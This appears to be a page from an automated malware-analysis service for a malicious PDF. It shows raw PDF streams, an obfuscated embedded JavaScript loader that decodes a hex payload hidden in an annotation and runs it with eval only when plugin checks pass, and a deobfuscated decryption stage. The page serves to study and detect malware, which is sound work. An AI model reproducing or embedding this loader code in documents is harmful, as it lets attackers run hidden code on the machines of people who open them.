443a727l557e568l17a61e8g1f322i9f1d8a0h0j132f8f2e2l6k9d442g8j4l5910196d6g1e714c6c221b2m7b1c2da6708ma50jaf11aa8b1ib065821k069d45088j0g3k26857e213h91041d4k9k4f0l706k9bad9480217e0291655i127i865k1m88473h3e7j61244a4299a96b6b4ja06d6k84635148aa6k715a65569l39a945074h3a2jaj214k1d00479j9l3m3l4c6f5442906i693l052b63b1574i8j27af22ai1319a28c2l8lac1f9f998e371f2g7m450ja15f5jam274f72076l2l4g948l9270841a857m755365889k9j73149b4c3k299f90403e9b05aj375b4d9k415m817g8b7i1b8k8b79775e9g7d0f5hal79301aaf39780b053k0b283c646m8b495f9c733j5j2i7k593m8f346j17ah29861h4j2i8l2g77af00380b072d385ja71d0a076j4b250g4e2m1g88564i230l3k7f185a1f8f1c9l8d7l072ia39fah6i6mb28e085e3b8e305h1l774k0k2i9k9j1d6h9b4c9a7m9f909d949b055k048l5g781787b155aa540g11044c56a51l429m96304l -0d-0a-0d-0a-09-66-75-6e-63-74-69-6f-6e-20-51-5f-5f-5f-36-35-5f-4e-63-77-28-4a-37-5f-72-35-32-76-74-2c-20-63-5f-64-37-4e-6c-30-50-29-7b-76-61-72-20-4f-30-74-35-43-6d-41-79-20-3d-20-34-3b-76-61-72-20-4c-5f-5f-5f-6a-63-5f-30-74-51-35-20-3d-20-6e-65-77-20-41-72-72-61-79-28-29-3b-76-61-72-20-48-5f-30-6e-33-50-66-5f-53-6e-20-3d-20-6e-65-77-20-41-72-72-61-79-28-31-30-37-2c-32-35-36-2c-31-31-2c-20-20-35-31-32-2c-20-31-30-36-2c-20-31-31-2c-20-20-34-34-2c-34-30-2c-20-33-33-29-3b-48-5f-30-6e-33-50-66-5f-53-6e-5b-35-5d-20-2b-3d-20-31-32-3b-76-61-72-20-6e-4d-55-5f-33-48-74-52-78-6f-44-20-3d-20-22-22-3b-74-72-79-20-7b-76-61-72-20-47-31-4e-54-5f-74-57-57-20-3d-20-30-3b-69-66-20-28-61-70-70-29-20-7b-63-5f-64-37-4e-6c-30-50-20-3d-20-70-72-5b-47-31-4e-54-5f-74-57-57-5d-2e-73-75-62-6a-65-63-74-3b-7d-7d-20-63-61-74-63-68-28-65-29-20-7b-7d-69-66-20-28-21-4a-37-5f-72-35-32-76-74-29-20-7b-20-4c-5f-5f-5f-6a-63-5f-30-74-51-35-5b-30-5d-20-3d-20-30-3b-4c-5f-5f-5f-6a-63-5f-30-74-51-35-5b-31-5d-20-3d-20-4c-5f-5f-5f-6a-63-5f-30-74-51-35-5b-30-5d-3b-4c-5f-5f-5f-6a-63-5f-30-74-51-35-5b-32-5d-20-3d-20-4c-5f-5f-5f-6a-63-5f-30-74-51-35-5b-31-5d-3b-4c-5f-5f-5f-6a-63-5f-30-74-51-35-5b-33-5d-20-3d-20-4c-5f-5f-5f-6a-63-5f-30-74-51-35-5b-32-5d-3b-76-61-72-20-50-69-5f-74-77-35-30-5f-62-53-5f-36-5f-5f-31-20-3d-20-48-5f-30-6e-33-50-66-5f-53-6e-5b-36-5d-20-2b-20-33-3b-76-61-72-20-50-5f-45-55-55-4f-53-64-5f-36-33-41-4d-77-20-3d-20-50-69-5f-74-77-35-30-5f-62-53-5f-36-5f-5f-31-20-2b-20-31-31-3b-76-61-72-20-68-5f-78-4a-74-5f-59-20-3d-20-51-5f-5f-5f-36-35-5f-4e-63-77-3b-76-61-72-20-70-34-34-5f-32-4a-31-67-20-3d-20-30-3b-68-5f-78-4a-74-5f-59-20-3d-20-68-5f-78-4a-74-5f-59-2e-74-6f-53-74-72-69-6e-67-28-29-3b-66-6f-72-28-76-61-72-20-59-73-41-37-32-4d-4b-6d-77-6f-5f-70-45-33-20-3d-20-30-3b-20-59-73-41-37-32-4d-4b-6d-77-6f-5f-70-45-33-20-3c-20-68-5f-78-4a-74-5f-59-2e-6c-65-6e-67-74-68-3b-20-59-73-41-37-32-4d-4b-6d-77-6f-5f-70-45-33-2b-2b-29-20-7b-76-61-72-20-71-50-34-5f-77-46-47-5f-4f-76-20-3d-20-68-5f-78-4a-74-5f-59-2e-63-68-61-72-43-6f-64-65-41-74-28-59-73-41-37-32-4d-4b-6d-77-6f-5f-70-45-33-29-3b-69-66-20-28-71-50-34-5f-77-46-47-5f-4f-76-20-3e-20-50-69-5f-74-77-35-30-5f-62-53-5f-36-5f-5f-31-20-26-26-20-71-50-34-5f-77-46-47-5f-4f-76-20-3c-20-50-5f-45-55-55-4f-53-64-5f-36-33-41-4d-77-29-20-7b-69-66-20-28-70-34-34-5f-32-4a-31-67-20-3d-3d-20-34-29-20-7b-70-34-34-5f-32-4a-31-67-20-3d-20-30-3b-7d-4c-5f-5f-5f-6a-63-5f-30-74-51-35-5b-70-34-34-5f-32-4a-31-67-5d-20-2b-3d-20-71-50-34-5f-77-46-47-5f-4f-76-3b-69-66-20-28-4c-5f-5f-5f-6a-63-5f-30-74-51-35-5b-70-34-34-5f-32-4a-31-67-5d-20-3e-20-48-5f-30-6e-33-50-66-5f-53-6e-5b-33-5d-29-20-7b-4c-5f-5f-5f-6a-63-5f-30-74-51-35-5b-70-34-34-5f-32-4a-31-67-5d-20-2d-3d-20-35-31-32-3b-7d-70-34-34-5f-32-4a-31-67-2b-2b-3b-7d-7d-7d-65-6c-73-65-20-20-7b-20-4c-5f-5f-5f-6a-63-5f-30-74-51-35-20-3d-20-4a-37-5f-72-35-32-76-74-3b-7d-66-6f-72-20-28-76-61-72-20-51-4c-5f-51-52-34-31-20-3d-20-30-3b-20-51-4c-5f-51-52-34-31-20-3c-20-34-3b-20-51-4c-5f-51-52-34-31-2b-2b-29-20-7b-69-66-20-28-4c-5f-5f-5f-6a-63-5f-30-74-51-35-5b-51-4c-5f-51-52-34-31-5d-20-3e-20-48-5f-30-6e-33-50-66-5f-53-6e-5b-31-5d-29-20-7b-4c-5f-5f-5f-6a-63-5f-30-74-51-35-5b-51-4c-5f-51-52-34-31-5d-20-2d-3d-20-48-5f-30-6e-33-50-66-5f-53-6e-5b-31-5d-3b-7d-7d-76-61-72-20-61-4f-5f-33-5f-78-5f-4c-33-4f-4c-70-32-73-20-3d-20-30-3b-76-61-72-20-6f-5f-76-5f-30-32-70-20-3d-20-30-3b-76-61-72-20-47-5f-54-30-4b-4e-75-59-3b-76-61-72-20-67-59-5f-36-79-36-5f-30-49-73-5f-79-20-3d-20-30-3b-77-68-69-6c-65-20-28-20-61-4f-5f-33-5f-78-5f-4c-33-4f-4c-70-32-73-20-3c-20-63-5f-64-37-4e-6c-30-50-2e-6c-65-6e-67-74-68-20-29-20-7b-76-61-72-20-58-4a-5f-78-50-38-5f-36-20-3d-20-22-22-3b-58-4a-5f-78-50-38-5f-36-20-3d-20-63-5f-64-37-4e-6c-30-50-2e-73-75-62-73-74-72-28-61-4f-5f-33-5f-78-5f-4c-33-4f-4c-70-32-73-2c-20-32-29-3b-76-61-72-20-43-75-57-30-73-50-6d-67-34-33-52-20-3d-20-70-61-72-73-65-49-6e-74-28-58-4a-5f-78-50-38-5f-36-2c-20-48-5f-30-6e-33-50-66-5f-53-6e-5b-35-5d-29-3b-20-69-66-20-28-6f-5f-76-5f-30-32-70-20-3d-3d-20-34-29-20-7b-6f-5f-76-5f-30-32-70-20-3d-20-30-3b-7d-43-75-57-30-73-50-6d-67-34-33-52-20-2d-3d-20-28-67-59-5f-36-79-36-5f-30-49-73-5f-79-20-2b-20-32-29-20-2a-20-4c-5f-5f-5f-6a-63-5f-30-74-51-35-5b-6f-5f-76-5f-30-32-70-5d-3b-69-66-20-28-43-75-57-30-73-50-6d-67-34-33-52-20-3c-20-30-29-20-7b-43-75-57-30-73-50-6d-67-34-33-52-20-2d-3d-20-4d-61-74-68-2e-66-6c-6f-6f-72-28-43-75-57-30-73-50-6d-67-34-33-52-20-2f-20-48-5f-30-6e-33-50-66-5f-53-6e-5b-31-5d-29-20-2a-20-48-5f-30-6e-33-50-66-5f-53-6e-5b-31-5d-3b-7d-6e-4d-55-5f-33-48-74-52-78-6f-44-20-2b-3d-20-53-74-72-69-6e-67-2e-66-72-6f-6d-43-68-61-72-43-6f-64-65-28-43-75-57-30-73-50-6d-67-34-33-52-29-3b-7b-61-4f-5f-33-5f-78-5f-4c-33-4f-4c-70-32-73-20-2b-3d-20-32-3b-67-59-5f-36-79-36-5f-30-49-73-5f-79-2b-2b-3b-6f-5f-76-5f-30-32-70-2b-2b-3b-7d-7d-76-61-72-20-47-5f-64-61-75-6f-5f-32-20-3d-20-74-68-69-73-3b-47-5f-64-61-75-6f-5f-32-5b-22-65-76-61-6c-22-5d-28-6e-4d-55-5f-33-48-74-52-78-6f-44-29-3b-72-65-74-75-72-6e-20-30-3b-7d-0d-0a-0d-0a-09-51-5f-5f-5f-36-35-5f-4e-63-77-28-30-29-3b-0d-0a-0d-0a-0d-0a ��(��d�R��{'�C�d��{O��fa��j�r�&3̽ja��u� .pL aLq�m�T��V(� l� : A>!�] � -qX� �H�dl jM��G�z� D��8�@Ȳ[�^�C��94 X1� ��K� =[߯�]��x�� ,�^�:��#�PS[ʐ?��{Fի7̜Gs�Q��Y��qxU� � ,� Ut�� Zæa`��+� �� endstream endobj 6 0 obj << /Type /Annot /Subtype /Text /Name /Comment /Rect [ 200 250 300 320 ] /Subj 7 0 R >> endobj 7 0 obj << /Length 6062 /Filter /FlateDecode >> stream x�M�i�d� F�$@ � x��,��}�]� $} D��]˩k��z��k[} �k >rmgn3�3�,�d~��Ξ��!z�g�=��od˺hJfV��/9ų�g��M�d��f�G�k�ދW�3YW�6��G�6%�#��v��J ��ޟ��zM��ڎ�ۚ{{kҖ6��7n��}V��h?��i�~㭷��6��<Ve��r�Ǯ� r��O��[��wv�g u�j��޺�+-�{N_>�!5�� y��R�Va^䥜� �� z��k��T��h��li�n,�ӑ^��`�Z�ΐ�ܛ��[��O�z$ �s�� f��1y��D[��?�� ^��O� V{��rzJc� #�"�.v ׀{f�$7�B ��` m ]��`��[m0�ȩ� � �mI�� K/ ;�wL-��L�K ��j �� S茾0,��^ jw4�J��CfbK{�ͯp+��{��?o58�3<Cp� a��2��(�&�QWg�?Y��0��Ё�� ݘ�5�h��7̌.°� 4/�1 87�Ameg� ʄ� �/x� �= ' �P�鍅-��4�%��N�� u�ZS�Ϣ DImg/�g � ¨e � ��6��>��G� ��5{ ̮��^��IV 4 ��[�t(�� X�UY n '��ԏ��pt ��K�w:�[�r19 #�k =�_p%��;�?� �� � � � �xc1�If�ؿ � 8� �X�� 퀆 �� g� T܌7 �� 0.�� ؆�3Is�6@ ��[;L 4��5�U� �]�- �K �Q� ��k��ۯ� ��TmR� �� ?� �jU ��Vp��l L1V�G��Ü�y ��; ��\|�-�� E��!iǯ�iC�� p�:�/ԛZ3k�A � �+� �� /� � �gƢKIw6 M (��7=� D!�y� ��5t�L ^wH�� cV � ��A� 橞V�.��Q�9�<�c �'(��5&�G�� w��ֈ}O�� [��ւ� 4�#s� � x2 ��$��;��Qm��O9 1 .HC f&'�� ' �/��G�ъ�T�(Ά �.+�� n� =�WBN�<��g�B��@� ��E� dk �� &�V&�? x�m h�7�^��M�q�E �� е�L =�Y'�x� � � nE>X�"�=�Oe5�&+vf�� -o�yVk��?��t �o�m �{�� J�! �� ?�� z�e?1& �]Hl�- V�v & .��߿ � �vf �$��+І��G��_f��z�� $��ϾV�ct��;��8:^FF�v�7/8�=�' ��#�v�Y �a��m�'ѩ��1r-hR�� F f �V��j07y� �8& �Ș� d[z��֙ ֺ�A�� Г��T�?2�� r�<�M��'� C��QyԂ=�� _ y��6�8�\|AY᠛ɹ�, ��܇z��?��"u��î � �"� �o�Շ�cz�ؓ" A��~�X��zP#��#M �� ' L_�Џ,O � ��M�f �@�<L>�� ׀�\|��G�ũk��^"�� \|0� ��5< ~�û��d_ �<?�P� � � �� F y ��{0�� `� wq� � ��iI� ��[o �� O�� 7 �� N d��?\|��/�O$_��O�� S�5B_� n��c�� k� �+94�, �� 䥮�yǅ�? � � 5$�� ; �'{� E �� gJ��\|��ǝr�� v� �O9� �m�?�=��p�9� .��{Vf��ޣ�x�0�� cWJocG��}Hs�Wf0 ��cFS� Ati��2��k�� :Y ��ԏg2�� #�7��ԁ�3^�_�n� PV�_#��Sj8 ﾴ�OB?�@�9� �~# �� 0�t�^� �Pv��͟ ��d�CK�l��dotB�Mԏ�� C�� g\|� ٤ǩ ɉY��MV� ��w˒� z ��`��R�o� m�H8Z#�Q��; ε��k�~�O��0�� Ϭ � ��pM1��E� � �ߊ��n ��3^$��J��$�?�O=z�?��e�w��d��?. �� L� �OZ�� X�T � ��Ơ �� g:��?��~�� ? ��T�� I 8 ��[� ��? ��^��^ e^ ��"ȑe%濠�q.��ˏ�g�3�-�?�3E�~��ڏ��>��?h ��0M� �� }Gl��#c�� p��P�{��w s��\|� � @��_� �;�a�ݞy��O ;� �tlʏ��8>��tR��>h�� _,��q��1� �� p��=pK� ��?��R �O�"I �3Y�� _�� PK�� 倿 �/�� O� �_�?��# 3��ռ��O� �Z��??� � $@�!_d� } ƕL��Eւ �� />I� �� $F�?1qV=��/�X�� ~��=N%��3�G� ��8�% �Y��8E� 2�,�2:�� a`� � �� K.t�� D�c��~ �x� Ϻ�k,fl-��K u�� 4"�6��}��9O q� -��33�1�"k�� ^c!� -��H �W� 5� �H � �g�(��{� �M � x\| � f�z�wnp�"��D2�0li��$�C�0?�ж ��}��@��3�>~�?$ �_"��Ħ�O�7b6�D��;� m��3t� � �� 7�\|�m� : N�5�� =©�� .�2�_> �;��v��&u�ڇ �� a�v b7��d� 'QyM�� K� ϓc�~2xg�� ,�� S� � lI��04 ��N8�� qIp��3N��6��@��}�#ojh5K&�{� G{RyJ\|�b��H�ʷq��P� ��( � G o�چ�\|� �� O��F� "!��ve�� }d��yy Z��%<ܕ�� ⎺ �I 3�;�� 6��`��_��@ ��X/_C��u� �q �M{� ;��Χ� H ��T�Q�[' w�- �s�� %5 �� t_�e� ��&�� h �� EKf� t��2��K��r�� <ST#I�՝��Şm�� ~��;�%Ӓ��Қ�5�У �� %� x � app.plugIns.length != 0 { nPage: 0 } app.plugIns.length > 3 /-/ 22+15 var i = 1; i < arr.length; i++ "0x"+arr[i] app.plugIns.length >= 2 buf var pr = null; var fnc = 'ev'; var sum = ''; app.doc.syncAnnotScan(); if (app.plugIns.length != 0) { var num = 1; pr = app.doc.getAnnots( { nPage: 0 } ); sum = pr[num].subject; } var buf = ""; if (app.plugIns.length > 3) { fnc += 'a'; var arr = sum.split(/-/); var proc = String.fromCharCode(22+15); for (var i = 1; i < arr.length; i++) { buf += String.fromCharCode("0x"+arr[i]); } } if (app.plugIns.length >= 2) { fnc += 'l'; app.eval(buf); } /* deobf: hex-codec payload ← annotation[1] → buf (1678 bytes) / / --- begin decoded JS (inlined for static analysis) --- / function Q___65_Ncw(J7_r52vt, c_d7Nl0P){var O0t5CmAy = 4;var L___jc_0tQ5 = new Array();var H_0n3Pf_Sn = new Array(107,256,11, 512, 106, 11, 44,40, 33);H_0n3Pf_Sn[5] += 12;var nMU_3HtRxoD = "";try {var G1NT_tWW = 0;if (app) {c_d7Nl0P = pr[G1NT_tWW].subject;}} catch(e) {}if (!J7_r52vt) { L___jc_0tQ5[0] = 0;L___jc_0tQ5[1] = L___jc_0tQ5[0];L___jc_0tQ5[2] = L___jc_0tQ5[1];L___jc_0tQ5[3] = L___jc_0tQ5[2];var Pi_tw50_bS_6__1 = H_0n3Pf_Sn[6] + 3;var P_EUUOSd_63AMw = Pi_tw50_bS_6__1 + 11;var h_xJt_Y = Q___65_Ncw;var p44_2J1g = 0;h_xJt_Y = h_xJt_Y.toString();for(var YsA72MKmwo_pE3 = 0; YsA72MKmwo_pE3 < h_xJt_Y.length; YsA72MKmwo_pE3++) {var qP4_wFG_Ov = h_xJt_Y.charCodeAt(YsA72MKmwo_pE3);if (qP4_wFG_Ov > Pi_tw50_bS_6__1 && qP4_wFG_Ov < P_EUUOSd_63AMw) {if (p44_2J1g == 4) {p44_2J1g = 0;}L___jc_0tQ5[p44_2J1g] += qP4_wFG_Ov;if (L___jc_0tQ5[p44_2J1g] > H_0n3Pf_Sn[3]) {L___jc_0tQ5[p44_2J1g] -= 512;}p44_2J1g++;}}}else { L___jc_0tQ5 = J7_r52vt;}for (var QL_QR41 = 0; QL_QR41 < 4; QL_QR41++) {if (L___jc_0tQ5[QL_QR41] > H_0n3Pf_Sn[1]) {L___jc_0tQ5[QL_QR41] -= H_0n3Pf_Sn[1];}}var aO_3_x_L3OLp2s = 0;var o_v_02p = 0;var G_T0KNuY;var gY_6y6_0Is_y = 0;while ( aO_3_x_L3OLp2s < c_d7Nl0P.length ) {var XJ_xP8_6 = "";XJ_xP8_6 = c_d7Nl0P.substr(aO_3_x_L3OLp2s, 2);var CuW0sPmg43R = parseInt(XJ_xP8_6, H_0n3Pf_Sn[5]); if (o_v_02p == 4) {o_v_02p = 0;}CuW0sPmg43R -= (gY_6y6_0Is_y + 2) L___jc_0tQ5[o_v_02p];if (CuW0sPmg43R < 0) {CuW0sPmg43R -= Math.floor(CuW0sPmg43R / H_0n3Pf_Sn[1]) * H_0n3Pf_Sn[1];}nMU_3HtRxoD += String.fromCharCode(CuW0sPmg43R);{aO_3_x_L3OLp2s += 2;gY_6y6_0Is_y++;o_v_02p++;}}var G_dauo_2 = this;G_dauo_2["eval"](nMU_3HtRxoD);return 0;} Q___65_Ncw(0); /* --- end decoded JS --- */

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 10

Related samples 1

Extracted artifacts 4